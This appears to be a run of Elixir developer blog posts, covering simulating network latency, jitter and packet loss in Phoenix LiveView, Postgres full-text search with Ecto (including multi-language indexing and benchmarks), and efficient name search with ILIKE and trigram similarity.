And with that last piece in place, the Access Control part of our RAP is done! Let's recap.

Rerap

Our RAP is built around permissions. We can create permission groups, called roles, and assign them to individual users. We can also give specific permissions to individual users if needed by adding them to user.custom_permissions. We define the required permission for calling our endpoints in the controllers using the CheckPermissions plug. If a user doesn't have the required permission, we block the request. The Permissions module is at the heart of our RAP and defines all valid permissions and their actions. It also takes care of validating and checking permissions. And that's it!

This article explained how to set up Access Controls for your Phoenix app. However, access controls are only the outermost layer of protection you can implement. In the next blog post, we'll discuss how to add another, deeper layer of protection by implementing Query Restrictions. So stay tuned!

Conclusion

I hope you enjoyed this article! This is the first part of the two-part series. You can find the second part here.

Thanks again to my dear colleagues Lucas, Vitor, and Antonio for their brilliant work and support. If you have questions or comments, let's discuss them on BlueSky. Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. If you found this topic interesting, here are some references for further reading:

Simulate Latency, Jitter, and Package Loss in Phoenix LiveView

2022-11-13T10:00:00Z

Hey folks 👋 Before we begin, a little story:

My friend bragged that his 3D printer could print a Gun,
but I wasn’t impressed.

I already had a Canon printer for years!

Alright, now to today's topic: How to simulate latency, jitter, and package loss when developing LiveView apps

The Problem

When we develop LiveView apps, usually two things are true: We develop it locally and we test production using a solid internet connection. But these things are rarely true for our users! They don't run the app on their computer and they often connect through a mobile - and therefore, unreliable - connection! LiveView apps have to do round-trips to the server for almost everything. Every button click, every site navigation. So, the quality of our user experience is strongly dependent on our internet connection. Users need immediate feedback for their actions. If they click a button and nothing happens, they get confused. If our website "freezes", they leave it. So, how do you prevent this from happening?

The Solution

You can simulate a bad internet connection locally by adjusting the latency, jitter, or package loss of your connection. Use these levers to test how your website behaves when the internet is bad. You'll be surprised how confusing it is when you click a button and nothing happens!

Let's see how you can simulate each:

Simulate Latency

Phoenix LiveView comes with a latency simulator out of the box. When you generate a new project, you'll find the following documentation in assets/js/app.js:

// expose liveSocket on window for web console debug logs and latency simulation:
// >> liveSocket.enableLatencySim(1000)  // enabled for duration of browser session
// >> liveSocket.disableLatencySim()
window.liveSocket = liveSocket;

LiveView makes it trivial to simulate a stable latency. Run your app, open the browsers console and type the following to simulate a one second delay for every user action:

// Browser console

liveSocket.enableLatencySim(1000)

LiveView will store this setting in the browser's session, so you need to either close the browser tab or run the following command to disable the latency again:

liveSocket.disableLatencySim()

Simulate Jitter

Phoenix LiveView allows us to add a constant latency to our connection. In reality, latency is rarely constant though. You might sit on a moving train and your phone constantly connects to a new cell phone tower. So, to simulate an even more realistic internet connection, we need to add jitter. Jitter means that the latency changes with almost every user action. Sadly, LiveView does not support this out of the box. It was requested a while ago, but it seems that it wasn't pursued further.

Luckily, it's not too hard to add it ourselves. All it takes is a small JavaScript function that uses LiveView's enableLatencySim-function to change the latency randomly. Have a look:

// Copy this to a new file at e.g. assets/js/jitter.js
export default enableJitter = (
  minJitter,
  maxJitter,
  minDelay = 500,
  maxDelay = 2000
) => {
  let timeout;

  const randomInt = (lowerBound, upperBound) => {
    return (
      Math.floor(Math.random() * (upperBound - lowerBound + 1)) + lowerBound
    );
  };

  const setJitter = () => {
    latency = randomInt(minJitter, maxJitter);

    // It's important to disable the latency first before
    // setting it again. Otherwise, weird things happen.
    window.liveSocket.disableLatencySim();
    window.liveSocket.enableLatencySim(latency);
  };

  const runInterval = () => {
    const timeoutFunction = () => {
      setJitter();
      runInterval();
    };

    const delay = randomInt(minDelay, maxDelay);
    timeout = setTimeout(timeoutFunction, delay);
  };

  runInterval();

  return {
    disable() {
      clearTimeout(timeout);
      // Don't forget to clear the latency as well.
      window.liveSocket.disableLatencySim();
    },
  };
};

The enableJitter-function changes the latency using a random interval. By default, it changes the latency every 500 milliseconds to 2 seconds, which is good enough for local testing. You can use it for your application by adding it to your app.js like this:

// app.js

import enableJitter from "./jitter";
// ...
window.liveSocket = liveSocket; // this line must exist
window.enableJitter = enableJitter; // add this line

This will expose the enableJitter-function in your browser. You can enable the jitter in your browser console like this:

// Enable jitter
jitter = enableJitter(500, 1500)

// Disable jitter
jitter.disable()

Simulate Package Loss

The last characteristic of a bad internet connection is package loss. Especially on mobile connections, you will lose packages occasionally. LiveView handles this problem pretty well out of the box, but you can still simulate it by using the dummynet utility. Thanks to Chris McCord for pointing this out!

Open a terminal on your computer and run the following code:

# Enable Package Loss
sudo -i
dnctl pipe 1 config plr 0.3
echo "dummynet out proto tcp from any to localhost port 4000 pipe 1" | pfctl -ef -

# Disable
pfctl -f /etc/pf.conf && pfctl -d && dnctl -q flush

We first open a sudo session and create a dummynet "pipe" using dnctl. We configure the pipe to drop 30% of packages using the plr 0.3 option. We could also add a constant delay with delay 1000 or limit the available bandwidth with bw 300Kbit/s.

Then, we add the pipe to the package filter of our computer using pfctl. Open your application locally and have a look at the Network tab. You'll see that some packages are dropped!

Once you're done with testing, don't forget to disable the package filter again with pfctl -f .... And that's it!

Conclusion

The Complete Guide to Full-text Search with Postgres and Ecto

2022-11-06T10:00:00Z

Before we begin, my apologies for the delay in publishing this article. This year's flu season hit me pretty hard. But being sick reminded me of an odd experience I made recently:

Someone called me on my phone, sneezed, and then hung up.

To be honest, I'm getting sick and tired of these cold calls!

Anyways. Let's dive into today's topic: Efficient full-text search with Postgres and Ecto!

The Problem

My last article explained how to search efficiently through short strings in your database, like names or emails. But what if you want to search through longer texts like book summaries, news articles, or your notes? Unfortunately, the methods from the last article - ILIKE and SIMILARITY - aren't efficient enough for longer texts. They scan the entire content from start to end, which is too slow.

That's exactly where Postgres' full-text search comes in handy. It allows you to break down long texts into a list of keywords, called tsvector, and search through them efficiently using tsquery. So, instead of scanning the entire text of every book, Postgres only compares normalized lists of keywords with each other. This sounds pretty abstract, so let's have a look at how these two components work.

The (short) Solution

This article is quite long, so here's a sneak peek of the final result, for texts in one language only. Multi-language support is much more complex. So, if you need that, please keep on reading. Let's say we have a model called Book that contains a title and a summary of a book. Here's the migration to create the books table:

def up do
  create table(:books) do
    add :title, :text
    add :summary, :text
  end

  execute """
    ALTER TABLE books
      ADD COLUMN searchable tsvector
      GENERATED ALWAYS AS (
        setweight(to_tsvector('english', coalesce(title, '')), 'A') ||
        setweight(to_tsvector('english', coalesce(summary, '')), 'B')
      ) STORED;
  """

  execute """
    CREATE INDEX books_searchable_idx ON books USING gin(searchable);
  """
end

def down do
  drop table(:books)
end

Here's how to search for text in the books table:

def search(search_term) do
  query =
    from(b in Book,
      where:
        fragment(
          "searchable @@ websearch_to_tsquery(?)",
          ^search_term
        ),
      order_by: {
        :desc,
        fragment(
          "ts_rank_cd(searchable, websearch_to_tsquery(?), 4)",
          ^search_term
        )
      }
    )

  Repo.all(query)
end

Okay, let's walk through the code, starting with the migration.

Understanding the Migration

Have a look at the first execute statement. On a high level, it extracts a list of keywords from the title and the summary fields, gives them different weights, and stores them in a new column called searchable.

Now, in detail: The first step of implementing full-text search is to convert all texts into tsvectors. In short, tsvectors are sorted lists of keywords that were extracted and normalized from long texts. They help to reduce long texts into a much more searchable data structure. More on them later.

We generate these tsvectors by calling to_tsvector('english', coalesce(title, '')). The coalesce function replaces any empty fields with an empty string since to_tsvector can't handle NULL values. tsvectors depend on the language of a text for applying their normalization. In our case, we defined the language of the text as English. Postgres doesn't support all languages by default, but you can add your own language too. You can check which languages your Postgres instance supports by running:

SELECT cfgname FROM pg_catalog.pg_ts_config;

Next, we want to prioritize books that have the search term in their title. For example, if we search for books about Elixir, we want to see Elixir in Action first and Seven Languages in Seven Weeks second since the first book contains our search term in its title whereas the second one only mentions the search term somewhere deep in its content.

We can give different tsvectors different weights by using the setweight(tsvector, weight) function. Postgres offers four different weights: A -> B -> C -> D where A is the highest. By default, these weights are set to: 1.0, 0.4, 0.2, 0.1. Postgres multiplies these with the rank of a search result to adjust their position in the overall ranking (more on ranking search results later). In our case, we want the title field to have the highest weight. So, we use setweight(to_tsvector(...), 'A') to give it the A weight.

After creating the tsvectors and weighting them, we store them in an auto-generated column called searchable. Postgres will automatically generate a value for this field whenever you insert a book or update its title or summary.

This field isn't strictly necessary. If you worry about storing too much data, you can omit the execute statement for this field and replace searchable in your index and query with the value behind the AS operator, so the setweight(...) || setweight(...) operation.

Now, the second execute statement in our migration creates a GIN index for the searchable field. This is what makes our full-text search efficient because it allows Postgres to find matching books in a highly-optimized data structure instead of having to scan through every row. You can read more about indexes here.

Now that we understand our migration and how it makes the full-text search efficient, let's have a look at how to query for books.

Understanding the Query

Our query has two steps.

# Step 1: Filter for books that match our query
where: fragment("searchable @@ websearch_to_tsquery(?)", ^search_term)

We use the fragment function here to execute raw SQL code. The websearch_to_tsquery function sanitizes and normalizes our user input and makes it safe to expose the full-text search to our end users. It returns a tsquery which is also a sorted list of keywords like tsvector but allows us to add search modifiers like AND, OR, NOT, and FOLLOWED BY (more on those later). Using the @@ operator, we check whether the tsvector in the searchable field matches our tsquery. Postgres returns only those books that match our query.

# Step 2: Sort the matching books by their rank/relevance.
order_by: {
  :desc,
  fragment(
    "ts_rank_cd(searchable, websearch_to_tsquery(?), 4)",
    ^search_term
  )
}

Next, we sort the matching books based on their rank so that the most relevant books appear at the top. The ts_rank_cd function calculates:

how often search terms appear in the document (frequency)
how close together the search terms are in the document (proximity)
how important is the section of the document where the search terms appear (priority)

So, a book that contains a search term multiple times, close together, and in its title has a higher rank than a book that contains the search term only a few times, far apart, and in an unimportant section, for example, the appendix.

One note about the number 4 here: When ranking documents, it is important to take their length into account. A long book will include a search term more often than a short essay just by chance. That doesn't make it more relevant though. You can adjust the rank for the length of a document by providing a normalization factor. In this example, we used 4, which divides the rank by the average distance between the matching search terms. So, an essay with only a few matches that occur close together now receives a higher rank than a long book with more matches, but far apart.

Relevant ranking depends heavily on your type of data, so please play around with the normalization factor and the weights until the ranking becomes useful to you.

Be aware that ranking will slow down your query because it needs to visit the tsvector of every matching document to calculate the rank of the document. Unfortunately, there's no good way around it. You can improve this downside by limiting how many documents you return from the query though.

And that's our query! It returns all books that match our search terms ranked by their "relevance".

Testing your setup

Before you push this code to production, make sure that your GIN index is used. Otherwise, your full-text search will be slow. You can check this by running your query in your favorite Postgres explorer and prefixing it with EXPLAIN ANALYZE. For example, you can setup and run the following query:

-- If you have only a few books in our database, force Postgres
-- to use the index. Otherwise, it falls back to a sequence scan
-- because that's faster than using an index for only a few rows.
SET enable_seqscan = OFF;

-- The example query
EXPLAIN ANALYZE SELECT * FROM books
  WHERE searchable @@ websearch_to_tsquery('prince');

The output of this query should start with Bitmap Heap Scan. If it doesn't, please double-check that you followed this article correctly.

Highlighting matches

Postgres offers the ts_headline function to highlight the matches in your results. By default, it wraps the matches in ... HTML tags, but you can customize those. Let's see how to use this option with Ecto.

def search(search_term) do
  query =
    from(b in Book,
      where:
        fragment("searchable @@ websearch_to_tsquery(?)", ^search_term),
      select: %{
        headline:
          fragment(
            """
            ts_headline(
              'english',
              CONCAT(title, ' ', summary),
              websearch_to_tsquery(?),
              'StartSel=,StopSel=,MinWords=25,MaxWords=75'
            )
            """,
            ^search_term
          )
      }
    )

  Repo.all(query)
end

This query will return a headline for every match, which is at least 25 words (see MinWords) and at most 75 words long (see MaxWords). Matches are wrapped in h3 HTML tags (see StartSel and StopSel). Thanks to Barry Jones for writing about this in 2016!

Before you continue

This concludes the "short" solution of how to implement efficient full-text search with Ecto and Postgres. If you copy&paste the code from above, you should have a working solution. The rest of the article takes a deep dive into the following topics:

How can you search through documents in different languages?
How does Postgres create tsvectors?
How can you use search modifiers in tsqueries?
What is the difference between plainto_tsquery, phraseto_tsquery, and websearch_to_tsquery?

If you are interested in any of these topics, please keep on reading. Otherwise, thank you very much for your attention and we'll meet again in my next article! 🤗

Still here? Nice! So, then let's continue.

Adding Multi-language Support

Our short solution above only covered the use-case where your texts are in a single language. Full-text search with texts in multiple languages is much more complex. Below, you will find three solutions which cover the main use-cases. They all support index-based full-text search in texts with multiple languages, but they differ in their ability to support two main use-cases: Dynamically adding texts in new languages and reducing the overall storage costs.

When you first create your database, you might have texts in only a few languages. Over time though, you might want to add texts in new languages. Some of the proposed solutions support adding new languages without you having to do anything. But some need the complete rebuilding of generated fields and indexes, which can be expensive and lock your database temporarily.

The second use-case is pretty practical: How much extra data do you need to store to support the full-text search? Some solutions need only indexes to make the text searchable. Some need large generated fields which multiply the overall storage costs.

The solutions differ on one more dimension: Do you know the language of a text and the language of your search term? If yes, then you probably want to go with solution two or three. But if not, only solution one will be useful to you.

Each solution supports the use-cases differently. You must decide yourself which solution supports your individual use-case best. Let's have a look at them.

Concatenating tsvectors

The first solution is the most basic one: We create tsvectors of the text for every language that we want to support and store the result in one large field. It isn't a pretty or cheap solution, but it supports the use-case where you don't know the language of a text or the language of the search term. It just stores tsvectors for all supported languages and searches through them.

Let's have a look at the migration:

def up do
# create table(:books) ...

  execute """
    ALTER TABLE books
      ADD COLUMN searchable tsvector
      GENERATED ALWAYS AS (
        to_tsvector('english', coalesce(title, '') || ' ' || coalesce(summary, '')) ||
        to_tsvector('spanish', coalesce(title, '') || ' ' || coalesce(summary, '')) ||
        to_tsvector('italian', coalesce(title, '') || ' ' || coalesce(summary, ''))
      ) STORED;
  """

  execute """
    CREATE INDEX books_searchable_idx ON books USING gin(searchable);
  """
end

Just as in our "short" solution, we generate a new field called searchable that stores one large tsvector that contains tsvectors for every support language. It will bloat your database with a lot of redundant data given that only the tsvector in the language of the text is relevant, but we still store tsvectors for all other languages too. However, it allows us to search in every possible language, like so:

def search(search_term) do
  query =
    from(
      b in Book,
      where: fragment("searchable @@ websearch_to_tsquery('english', ?)", ^search_term),
      or_where: fragment("searchable @@ websearch_to_tsquery('spanish', ?)", ^search_term),
      or_where: fragment("searchable @@ websearch_to_tsquery('italian', ?)", ^search_term)
    )

  Repo.all(query)
end

This solution isn't cheap or pretty, but it works if you support only a small set of languages and don't know the language of the text or the search terms. You will have more false positives since a text might match your search term, but not in the intended language. For example, if you search for Zeitgeist - a German word but commonly used in English too - you might see German texts although you wanted English texts instead.

If you want to add new languages, you would need to change and regenerate the searchable field and its index, which can lock your database temporarily. So, this solution doesn't support adding new languages very well or minimises your storage costs. Let's have a look at the next solution, which is significantly better, but not without its own downsides.

Partial Indexes

The second solution works without an autogenerated field but requires knowledge of the language of a text. Using that info it creates partial indexes, one per language group. Have a look at the migration:

def up do
  create table(:books) do
    add :title, :string
    add :summary, :text
    # Note the new field here
    add :language, :string
  end

  for lang <- ["english", "spanish", "italian"] do
    execute """
      CREATE INDEX books_searchable_partial_idx_#{lang} ON books
        USING GIN(
          to_tsvector('#{lang}', coalesce(title, '') || ' ' || coalesce(summary, ''))
        )
        WHERE language = '#{lang}';
    """
  end
end

The migration creates an index for every supported language that tracks texts only in the language of the index. The size of the partial indexes taken together is never larger than the size of a single index for all languages. This solution doesn't require an autogenerated field and therefore minimizes the storage costs significantly. You can add new languages by creating a new migration that adds another partial index for the new language. So, adding new languages cannot happen at runtime, but require a new deploy that executes the migration. But partial indexes without any texts have a negligible size. So, you could create indexes for all languages that Postgres supports when setting up the database. This would allow you to add texts in new languages dynamically and at runtime.

Querying for texts using partial indexes is pretty straight forward:

def search(language, search_term) do
  query =
    from(b in Book,
      where: b.language == ^language,
      where:
        fragment(
          """
            to_tsvector(
              language::regconfig,
              coalesce(title, '') || ' ' || coalesce(summary, '')
            ) @@ websearch_to_tsquery(?::text::regconfig, ?)
          """,
          ^language,
          ^search_term
        )
    )

  Repo.all(query)
end

This search function searches for books in a particular language that contain our search term. It uses the partial index of that language to make the search efficient. This solution is probably the most optimal solution in terms of storage costs and adding new languages. It doesn't require auto-generated fields and you can set up partial indexes for all languages without much extra costs. The migration and query are pretty minimal and not too verbose.

You must know the language of a text, but you don't necessarily need to know the language of the search term. You could cycle through a list of "most searched in" languages and invoke the search/2 function until you receive a result. It's less efficient, but might work well enough in your use-case.

The last solution presents a similar solution, but with only a single index instead of many partial ones. But before we dive into that one, a small caveat about working with regconfig in Ecto.

Casting Strings to Regconfig

Note that we use ?::text::regconfig in the websearch_to_tsquery function. Ecto doesn't support casting strings to regconfig directly, so we must cast the parameter first to text and let Postgres handle the casting to regconfig. If you do the following, you will receive an error from Ecto:

where: fragment(
  """
    to_tsvector(
      language::regconfig,
      coalesce(title, '') || ' ' || coalesce(summary, '')
    # Note that we don't cast to text first:
    ) @@ websearch_to_tsquery(?, ?)
  """,
  # Ecto can't cast this parameter to `regconfig`
  # directly and throws an error.
  ^language,
  ^search_term
)

One index for all languages

The last solution was an attempt to consolidate all partial indexes into a single index that uses the language of a book as a dynamic value to create the index's value. It was inspired by a few different resources. Let's have a look at the migration:

def up do
  # Create table books ...

  execute """
    CREATE FUNCTION lang_to_regconfig(text) RETURNS regconfig
      LANGUAGE sql IMMUTABLE STRICT AS $$
      SELECT $1::regconfig; $$
  """

  execute """
    CREATE INDEX books_language_agnostic_idx ON books
      USING gin(
        to_tsvector(
            lang_to_regconfig(language),
            coalesce(title, '') || ' ' || coalesce(summary, '')
        )
      );
  """
end

The migration first creates an immutable function that casts a text to a regconfig language. Without this function, we cannot create the index because the unwrapped language::regconfig cast function is not immutable and Postgres doesn't allow mutable functions when creating indexes.

The second step is to create the language agnostic index. It uses the lang_to_regconfig function to cast the language of a book into a regconfig language. The rest is equal to the mutation of the partial indexes.

And that's it! We now have a single index for all books that contains a tsvector only for their language. We can use the index for searching like this:

def search(language, search_term) do
  query =
    from(b in Book,
      where:
        fragment(
          "to_tsvector(
            lang_to_regconfig(language),
            coalesce(title, '') || ' ' || coalesce(summary, '')
          ) @@ websearch_to_tsquery(?::text::regconfig, ?)",
          ^language,
          ^search_term
        )
    )

  Repo.all()
end

Note that the left side of our where fragment must equal how we constructed the index. So, if we wouldn't use the lang_to_regconfig(language) function in our where fragment, Postgres would not use the index. As always, please check your implementation locally using a Postgres explorer and the EXPLAIN ANALYZE prefix before you deploy it into production.

This final solution combines the best approaches of the previous solutions. It doesn't generate a new field to keep the storage costs minimal. You can add languages dynamically without the need for a new migration and don't have to create partial indexes for every supported language. You don't have to filter your books based on their language, but can search through all of them at once.

According to Postgres' analysis, the single index is significantly less costly 16.52 total cost than the partial index solution 3212.54 total cost. Sadly, we weren't able to test these two solutions on a real-world large dataset, so please let us know what works best for you!

Performance Comparison

We tested the three solutions with ~23k abstracts in 4 languages (German, Italian, Spanish, Dutch) taken from the Gutenberg Dialog project. We used Benchee to benchmark each query. We only searched in a single language (German) with a single search term (a short sentence) that matched only a single abstract. Here are the results:

Name                        ips        average  deviation         median         99th %
concatenated             242.57        4.12 ms    ±39.02%        3.76 ms        8.96 ms
language agnostic        232.71        4.30 ms    ±60.96%        3.54 ms       12.12 ms
partial indexes            2.73      366.62 ms     ±5.86%      367.23 ms      420.01 ms

Comparison:
concatenated             242.57
language agnostic        232.71 - 1.04x slower +0.175 ms
partial indexes            2.73 - 88.93x slower +362.50 ms

Surprisingly, the "dumb" solution of concatenating all languages was the fastest! Our language agnostic solution with a single index made a decent second place, but the shocking outlier was our partial index search. We made sure that the German partial index was used by analyzing the query and got the following output:

Gather  (cost=1000.00..6737.78 rows=1 width=739) (actual time=1.645..137.773 rows=1 loops=1)
  Workers Planned: 1
  Workers Launched: 1
  ->  Parallel Seq Scan on books  (cost=0.00..5737.68 rows=1 width=739) (actual time=64.755..132.177 rows=0 loops=2)
        Filter: (((language)::text = 'german'::text) AND (to_tsvector((language)::regconfig, (((COALESCE(title, ''::character varying))::text || ' '::text) || COALESCE(summary, ''::text))) @@ '''glut'' & ''inn'' & ''zorn'' & ''gesicht'' & ''trat'''::tsquery))
        Rows Removed by Filter: 11218
Planning Time: 3.470 ms
Execution Time: 137.803 ms

Apparently, Postgres spins up a worker to conduct the partial index search, which slows down the search significantly. At this point, we finished the benchmark, but any tips on how to improve this solution is most welcome!

A short Interlude

This concludes the section about implementations for multiple languages. We discussed three solutions to implement full-text search with multiple languages: concatenation, partial indexes, and a single language agnostic index. The first and last solution both work well, so it's up to you to decide which one works best.

The rest of the article dives into smaller Postgres-related questions like:

What are tsvectors and how does Postgres create them?
What are tsqueries and how can you use search modifiers in them?

If you have read so far, congratulations! This certainly isn't a short or easy blog post, so give yourself a pat on the shoulder and get another coffee. It becomes a bit nit-picky from here on.

Creating `tsvectors`

A tsvector is a sorted list of lexemes, which are words normalized to their most basic linguistic form. For example, the words program, programs, and programming all have the same lexeme program. Let's see how Postgres creates a tsvector from the sentence Coding with Elixir makes for cleaner code.

SELECT to_tsvector('english', 'Coding with Elixir makes for cleaner code');
----------------------------------------------
'cleaner':6 'code':1,7 'elixir':3 'make':4

When creating a tsvector, Postgres applies a whole list of normalizations. They might remove, replace, or group words, but they all serve one purpose: to reduce long texts to their most relevant keywords.

In this case, Postgres applied these normalizations that we can see:

It removed stop-words like is, a, for, with that have little relevance since they occur in almost every text.
It reduced every word to its lexeme, e.g. coding -> code.
It grouped words that reduce to the same lexeme, e.g. [coding, code] -> code.
It sorted the lexemes alphabetically. This allows for more efficient searching for keywords because their position in the list is approximately known.
It kept the position of every lexeme in the text, e.g. code:1,7 occurred as the first and seventh word. Keeping the position allows us to calculate the proximity of search words in the text. More about this later.

Caveat: Postgres returns the best result if you can provide the language of the input text. In our case, we used English, which is the default. If you don't know the language of your text, you can use the simple mode instead. This won't reduce the words into their lexemes and only remove a predefined list of stop-words. So, take this as a caveat: If you don't know the language of your text, your search results and search performance will suffer and you will have to store a lot more data.

Now that we know how Postgres creates tsvectors, let's have a look at their counterpart: the tsquery.

Search Modifiers in `tsquery`

When you build your tsquery, you can use search modifiers like AND, OR, NOT, and FOLLOWED BY. Let's see how they work:

To search for documents that include both words elixir AND postgres, your tsquery would be to_tsquery('elixir & postgres')
To match documents that contain either elixir OR postgres, you can search with to_tsquery('elixir | postgres')
To find documents that contain certain an entire phrase, like efficient search, you can search with: to_tsquery('efficient <-> search')
To find documents that don't include certain words, you can use to_tsquery('!java').
To group words, you can use parentheses. For example, to match documents that contain either elixir AND postgres or elixir AND ecto use: ts_toquery('(elixir & postgres) | (elixir & ecto').

When you write these searches, you probably don't want to write the search modifiers by hand. That's why Postgres offers three convenience functions: plainto_tsquery, phraseto_tsquery, and the most important one: websearch_to_tsquery.

plainto_tsquery ignores any search modifiers and simply adds AND between each word. So, plainto_tsquery('elixir code') equals to_tsquery('elixir & code') and matches any document that contains both words.
phraseto_tsquery also ignores any modifiers and adds <-> between each word. This matches documents that contain an exact phrase like elixir is great. It won't match documents where these words exist, but in the wrong order, like in Is elixir great?.
websearch_to_tsquery is the safest way to allow user input in your full-text queries. It allows all search modifiers but expects them in a human-readable form. OR is simply OR, NOT becomes -, AND stays AND but can be omitted, and phrases have to be put in quotes, like "efficient search". For example:

-- These queries are equal
websearch_to_tsquery('"efficient search" or postgres and -java');
to_tsquery('(efficient <-> search) | (postgres & !java)');

Conclusion

Efficient Name Search with Postgres and Ecto

2022-10-16T10:00:00Z

Hey folks, before we begin, a public service announcement:

Respect people who wear glasses.

They paid money to see you.

Okay, that was enough fun for today. Let's dive into today's topic: How can you search through millions of usernames using Ecto and Postgres? Let's find out!

Quick note: This article does not cover full-text search (FTS) with Postgres. It focuses only on searching for short strings like names, movie titles, article names, etc. I will cover FTS in another article in the future.

Imagine that you have a database with a million users. You need to allow admins to search through the users by name. You need to get this out the door quickly, so instead of building a cool, custom search engine, you want to use what's already at hand. Luckily, Postgres got your back.

In short, there are two good candidates of query methods you can use: (i)like and similarity. (i)like is better if you want to have exact matches with your query. For example, the search term Ber would return Bert or Berry, but not Bart. similarity is a more fuzzy approach and would also return Bart, since it's not the same, but very similar to Ber.

We will test our name search against an example set of 18.000 first names. The non-trivial size of the set allows us to test the speedup of using indexes. Let's have a look at how to implement each of them.

(i)LIKE

Probably the most common search method is the LIKE operator. It checks whether a string contains a search term. So, Bert matches Ber, but Bart does not. You can specify where in the string the search term may exist using the wildcard % sign. For example, a search term of Ber% means that a string must begin with Ber whereas %Ber means the string must end with Ber. If your search term may exist anywhere in the string, you can use two % signs like this: %Ber%. This would match Bert, but also DagoBert.

In our queries, we usually don't use LIKE, but its sibling ILIKE, which ignores cases in our strings and search terms. So, whereas Ber% LIKE 'bert' doesn't match, Ber% ILIKE 'bert' does. Now, let's have a look at how to implement an efficient ILIKE search in Ecto.

The Migration

First, we build a migration that creates a simple persons table with only one field: a name. We also create an index for that field, which we'll discuss later. This is how it looks:

defmodule Demo.Repo.Migrations.CreatePersons do
  use Ecto.Migration

  def up do
    create table(:persons) do
      add :name, :string
    end

    execute "CREATE EXTENSION IF NOT EXISTS pg_trgm;"

    execute """
      CREATE INDEX persons_name_gin_trgm_idx
        ON persons
        USING gin (name gin_trgm_ops);
    """
  end

  def down do
    drop table(:persons)
  end
end

First off, since we use the execute/1 function with custom SQL code, we need to split the migration into up/0 and down/0 since otherwise, Ecto doesn't know how to roll back our migration.

The two execute/1 statements are the reason our ILIKE search is efficient. The first statement activates the pg_trgm extension, which allows us to search through a GIN index of our names instead of having to scan through every row 1-by-1. The second execute/1 statement creates the GIN index for the name column using the gin_trgm_ops.

Watch out: Don't create the index with the Ecto variant of it, which is:

# Don't use this
create(index(:persons, [:name], using: "GIN"))

# Because it translates to this:
CREATE INDEX persons_name_index ON persons USING GIN (name varchar_ops);

# Instead use this
create index(:persons, [~s("name" gin_trgm_ops)], using: "GIN")

# Or this
execute """
  CREATE INDEX persons_name_gin_trgm_idx
    ON persons
    USING gin (name gin_trgm_ops);
"""

The plain Ecto variant will create a GIN index, but by using the varchar_ops and not the gin_trgm_ops. This won't speed up our text search. So, better use the custom type or the custom SQL code in the second execute/1 statement to create the GIN index. (Thank you Dan for sharing the Ecto-based solution with me!)

Let's have a look at how to use the index next.

The Query

Thankfully, Ecto already offers the ilike function, which we can use for our query. This is what it looks like:

defp search(search_term) do
  search_term = "%#{search_term}%"

  query =
    from(
      p in Person,
      where: ilike(p.name, ^search_term)
    )

  Repo.all(query)
end

This will return all names that contain the search term anywhere in their string. If you analyze this query in a database explorer, you will see that it uses our GIN index. We ran this query without the index and it was around 30 times slower (~700ms vs 21s). So, before you push this query to production, please check in your database explorer whether your index is used. You can do that by running the following command:

EXPLAIN ANALYZE SELECT name FROM persons WHERE name ILIKE '%bert%';

It should return an analysis that starts with Bitmap Heap Scan. That means that your index is used. If it returns an analysis beginning with Seq Scan, it doesn't use your index and scans every row 1-by-1, which you don't want.

Now, the ILIKE query returns all names that match a certain search term, but it won't return names that don't match the search term but are very similar to it. For example, if you search for Ana you might also want to see Anna and Hannah in your results. So, names that don't match exactly, but are very similar. We can use Postgres' SIMILARITY operator for that. Let's check out how.

Similarity

similarity is one of these functions that appear to be very easy to use, but it's very easy to get it wrong. So, before you deploy your query to production, please analyze the query using EXPLAIN ANALYZE first. We will get into the details of what can go wrong later on. Let's first have a look at how to use this operator.

You can re-use the migration for ILIKE also for similiarity. It uses the same GIN index. Run your your migration and then head over to your context to add the following query:

def similarity(name) do
  query =
    from(
      p in Person,
      where: fragment("? % ?", ^name, p.name),
      order_by: {:desc, fragment("? % ?", ^name, p.name)}
    )

  Repo.all(query)
end

This query uses the short-hand version of similarity, the % operator, to compare the search term with the names in the database. It orders the results by their similarity to the search term so that the most similar results are on top. There are a few small, but important details about this query:

You must use the short-hand % operator because the query won't use the GIN index otherwise. Don't use similarity(name, ?) in your query, but the short-hand % operator.
If you use the <% or <<% operators, you must put the search term first. So, WHERE bert <% name. If you turn them around, Postgres won't use your GIN index.
When you use the short-hand % operator, you can't set the threshold for how similar names must be to be included in the results. If you use the similarity function, you can set it with: similarity(name, ?) > 0.3. If you use the short-hand operator %, the global pg_trgm.similarity_threshold (defaults to 0.3) is used instead. You can configure the global threshold for one session or your entire database using:

SET pg_trgm.similarity_threshold = 0.3;

You can configure the similarity threshold of your Ecto.Repo connection using a Connection prefix (Thanks to Michał for the tip ❤️). You can set it in your configuration like this:

# config.exs

query_args = ["SET pg_trgm.similarity_threshold = 0.4", []]

config :my_app, MyApp.Repo,
  after_connect: {Postgrex, :query!, query_args}

This configuration will set your custom similarity_threshold after connecting to the database.

If the global threshold of 0.3 is a problem for you and you can sacrifice the GIN index, the following variation will help. Be warned that it doesn't use the GIN index and scans your entire table. Sadly, there's no free lunch.

def similarity(name, limit \\ 25) do
  query =
    from(
      p in Person,
      order_by: {:desc, fragment("? % ?", ^name, p.name)},
      limit: ^limit
    )

  Repo.all(query)
end

This query has no hard threshold for similarity, but orders the names by their similarity and only returns the top - in this case - 25 names. It isn't perfect, but it works without a hard threshold.

Variations of `similarity`

If you implement a name search, it is important to know the two siblings of the similarity operator, the word_similarity and strict_word_similarity.

One problem with the similarity operator is that it compares a search term against the entire string of a name, ignoring any spaces and therefore, word boundaries. For example, let's say you want to see the profile of a user with a typical Portuguese name, like João Miguel Mello Fernandes Pereira dos Reis. You probably don't remember the full name of the person, but only their first name João.

Now, if you search for João using the similarity operator, it will rank the user lower since João shares very few letters with João Miguel Mello Fernandes Pereira dos Reis. A user called João Sausa will have a much higher ranking simply because his name is shorter. The problem is that similarity depends on the length of a name. The Postgres team recognized this problem and created the word_similarity and strict_word_similarity alternatives.

Both alternatives put more importance on whether a search term is similar to any word in the name. Since the search term, João, matches perfectly with the first word in the long name João ... Reis, it will have a similarity of 1. The same holds for the shorter name João Sausa. So, the similarity doesn't depend on the length of a name anymore.

The difference between word_similarity and strict_word_similarity is subtle but important. word_similarity compares your search term with sub-parts of a word whereas strict_word_similiarity only compares against whole words. So, use word_similarity if you want to return names even when your search term only matches a part of the name, e.g. Bert matches Dagobert. If you want to prioritize full matches, use strict_word_similiarity, e.g. only Dagobert matches Dagobert, but Bert doesn't.

In order to make use of your GIN index, you must also use the short-hand operators <% for word_similarity and <<% for strict_word_similarity when writing your query.

Combine ILIKE and Similarity

Now that you understand both methods, ILIKE and similarity, there's one combination that you might like best:

